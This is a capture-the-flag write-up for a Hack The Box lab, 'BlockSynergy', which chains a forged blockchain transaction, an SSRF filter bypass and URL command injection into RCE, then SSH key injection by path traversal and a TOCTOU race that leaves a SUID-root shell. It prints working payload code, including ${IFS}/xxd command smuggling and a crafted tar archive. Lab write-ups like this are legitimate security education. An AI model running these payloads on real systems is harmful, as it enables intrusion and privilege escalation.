BlockSynergy — HTB Writeup (Insane, Linux)

Scope: This writeup documents an authorized Hack The Box lab. Do not reuse these techniques against systems without explicit permission.

Target: 10.129.39.140 (pivoted to 10.129.39.201)

Stack: Python Flask (Werkzeug), a blockchain-themed web app, SSH, and an internal Flask service on :5000.


1. Recon

A full port scan identified SSH and a Flask-style web application:

nmap -sC -sV -p- -Pn -O -A --min-rate 10000 10.129.39.140
Port Service Version
22 SSH OpenSSH 9.6p1 (Ubuntu)
8080 HTTP Werkzeug 3.1.3 / Python 3.12.3

The application presented itself as “BlockSynergy – Decentralized Future.” Its wallet, mining, VIP, and node-management functionality became the main areas for authorized lab testing.


2. Mapping the Application

curl -s http://10.129.39.140:8080/

The homepage indicated that VIP status unlocks after accumulating 10 or more coins and that block submission accepts a raw JSON payload containing an address and block.

Relevant dashboard routes included wallet management, wallet information, blockchain data, transactions, transaction history, pending transactions, VIP node management, smart contracts, and an application API.

Public API routes included /blockchain, /nodes, /mining_data, /submit_block, and /broadcast_transaction.

The authorized testing plan was to examine wallet handling, VIP authorization, SSRF through node management, the internal admin panel, command injection, and local privilege boundaries.


3. Create and Load a Wallet

Both wallet actions were unauthenticated in the lab application:

curl -s -X POST http://10.129.39.140:8080/dashboard/wallet \
  -F "action=create" -F "filename=pwn"

The response returned a keypair as JSON. The wallet could then be loaded into the session:

curl -s -X POST http://10.129.39.140:8080/dashboard/wallet \
  -F "action=load" -F "file=@/tmp/wallet.json"

4. Forge Coins and Become VIP

The /broadcast_transaction endpoint did not validate the sender field correctly. The application trusted transactions that claimed to originate from Blockchain_Reward.

curl -s -X POST http://10.129.39.140:8080/broadcast_transaction \
  -H "Content-Type: application/json" \
  -d '{"sender":"Blockchain_Reward","receiver":"<MY_PUBLIC_KEY>","signature":"Blockchain","amount":100,"timestamp":"2026-08-29 20:00:00.000000"}'

The balance endpoint then showed the increased balance:

curl -s http://10.129.39.140:8080/dashboard/info
# Balance: 100

The session became VIP-enabled. The same session cookie had to be reused for the following authorized testing steps because the VIP state was session-bound.


5. SSRF through VIP Node Management

The VIP node-management feature accepted an arbitrary URL as a node. Testing the node endpoint caused the server to fetch the registered URL and render the response, creating a server-side request forgery condition.

URL tested Result
http://127.0.0.1:8080/admin/nodes/manage Rejected by the loopback filter
http://localhost:8080/admin/nodes/manage Rejected by the loopback filter
http://0.0.0.0:8080/admin/nodes/manage Accepted and resolved internally

The 0.0.0.0 variation bypassed the incomplete hostname filter and exposed the internal admin response from the server’s own network namespace. The admin panel included blockchain backup and restore, node management, transaction history, and system-information routes.

The node-management page also exposed a ping action that accepted a target URL, making it a candidate for command-injection testing.

Testing note: The node list could be reordered or evicted between requests. Resolving a node by its exact URL was more reliable than trusting an array index.


6. Command Injection to RCE as walter

The SSRF path issued GET requests, so the ping action had to be encoded into the registered node URL:

http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=<payload>

What did not work

Several basic payloads failed because the handler parsed target as a URL before passing part of it to the shell. A second embedded http:// also confused the parser.

Parser differential, $IFS, and hexadecimal encoding

The registration validator and ping handler interpreted the same URL differently. The validator checked the hostname, while the ping handler extracted the user-information portion and passed it into a shell command.

Spaces and slashes were restricted by the URL parser, so the lab proof of concept used ${IFS} for spaces and hexadecimal encoding decoded through xxd before execution:

pay = "http://x;" + cmd + ";a@0.0.0.0:8080/"
trig = "http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=" + quote(pay, safe="")
def ssrf_run(w, pub, cmd):
    hexcmd = cmd.encode().hex()
    wrapped = "echo${IFS}%s|xxd${IFS}-r${IFS}-p|sh" % hexcmd
    return ssrf_rce_output(w, pub, wrapped)


def ssrf_rce_output(w, pub, cmd):
    pay = "http://x;%s;a@0.0.0.0:8080/" % cmd
    trig = "http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=" + quote(pay, safe="")
    while True:
        w.post_form("/dashboard/vip/nodes", {"action": "register", "node": pay})
        w.post_form("/dashboard/vip/nodes", {"action": "register", "node": trig})
        n = nodes(w)
        if pay in n and trig in n:
            _, body = w.get("/dashboard/vip/nodes/test_node/%d" % n.index(trig))
            # extract output from the authorized lab response

The first proof of code execution returned:

uid=1000(walter) gid=1000(walter) groups=1000(walter)

This established command execution as walter through the SSRF chain.


7. User Access

The authorized lab session could read the user-stage flag from walter’s home directory. The value is intentionally redacted here:

REDACTED_USER_FLAG

The permissions showed that the lab user was allowed to read the flag-stage file directly.


8. Lateral Movement: walter to hank

An internal Flask service on 127.0.0.1:5000 exposed smart-contract logging. The logging feature accepted a controllable path without sufficient sanitization, enabling a path-traversal test against hank’s SSH configuration.

The lab proof of concept used a contract whose log destination traversed into the authorized user’s SSH directory:

contract = {
    "name": "x", "id": 1, "owner": "dev", "debug": "True",
    "logic": {"mint": "allow"},
    "storage": {"balances": {}, "total_supply": 0},
    "hooks": {"on_mint": "log"},
    "__meta__": {
        "log_file": "../../../../home/hank/.ssh/authorized_keys",
        "log_content": {"on_mint": "\n" + my_pubkey + "\n"},
    },
}

The user database confirmed hank’s home directory and shell. The upload, load, and mint steps were combined in a small authorized lab driver, after which SSH access as hank was obtained:

ssh -i id_hank hank@10.129.39.140 "id"
# uid=1001(hank) gid=1003(hank) groups=1003(hank)

9. Privilege Escalation: TOCTOU Race on the Restore Daemon

A trusted archive in /var/restore_work/ was periodically extracted by a root restore daemon. The target was a SUID file under /opt/blocksynergy/.

Step 1 — Build a malicious SUID-root archive

import tarfile, io, time

W = "/var/restore_work"
SRC = W + "/.pl*<TAG>.tar.gz"
content = open("/bin/bash", "rb").read()

archive = tarfile.open(SRC, "w:gz")
entry = tarfile.TarInfo("opt/blocksynergy/.diag")
entry.size = len(content)
entry.mode = 0o4755
entry.uid = 0
entry.gid = 0
entry.mtime = int(time.time())
archive.addfile(entry, io.BytesIO(content))
archive.close()

Step 2 — Arm an inotify race

The race watched /var/restore_work for archive creation and write events. When the trusted archive was recreated, the lab payload swapped in the crafted archive before extraction:

import ctypes, ctypes.util, os, time

W = "/var/restore_work"
TRIGGER = "/opt/staging/restore"
MARKER = "/opt/blocksynergy/.diag"
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
fd = libc.inotify_init()
libc.inotify_add_watch(fd, W.encode(), 0x8 | 0x10 | 0x100 | 0x80)
os.set_blocking(fd, False)

The race was launched in the authorized lab session and retried during the daemon’s archive refresh window.

Step 3 — Trigger and win

for _ in range(70):
    result = ssh(hank, "test -u /opt/blocksynergy/.diag && "
                       "/opt/blocksynergy/.diag -p -c 'id'")
    if result.returncode == 0:
        break
    time.sleep(6)

The resulting file had SUID-root permissions:

-rwsr-xr-x root root /opt/blocksynergy/.diag

The SUID shell preserved root privileges in the authorized lab environment.


10. Root Access

The root-stage flag value is intentionally redacted:

REDACTED_ROOT_FLAG

Flags

Flag Value
User REDACTED_USER_FLAG
Root REDACTED_ROOT_FLAG

Kill Chain, Start to Finish

Flask app (:8080)
 └─ unauthenticated wallet create/load
 └─ forged reward transaction → VIP
 └─ VIP node registration + test_node → full-read SSRF
 └─ 0.0.0.0 bypass of loopback filter → internal admin panel
 └─ URL-userinfo command injection in ping_node → RCE as walter
     ├─ obtain user-stage access
     └─ abuse internal Flask path traversal → inject SSH key → hank
         └─ inotify TOCTOU race against root restore daemon → SUID-root shell
             └─ obtain root-stage access

Lessons

  1. Never trust a client-controlled sender field when validating reward transactions.
  2. An incomplete loopback blocklist can turn SSRF into internal administrative access.
  3. Parser differences between a URL validator and a command-execution sink can create an RCE primitive.
  4. Restore and backup daemons need atomic file handling, strict ownership checks, and safe extraction controls to prevent TOCTOU and archive-manipulation attacks.
  5. Internal services must validate log destinations and reject traversal before writing user-controlled content.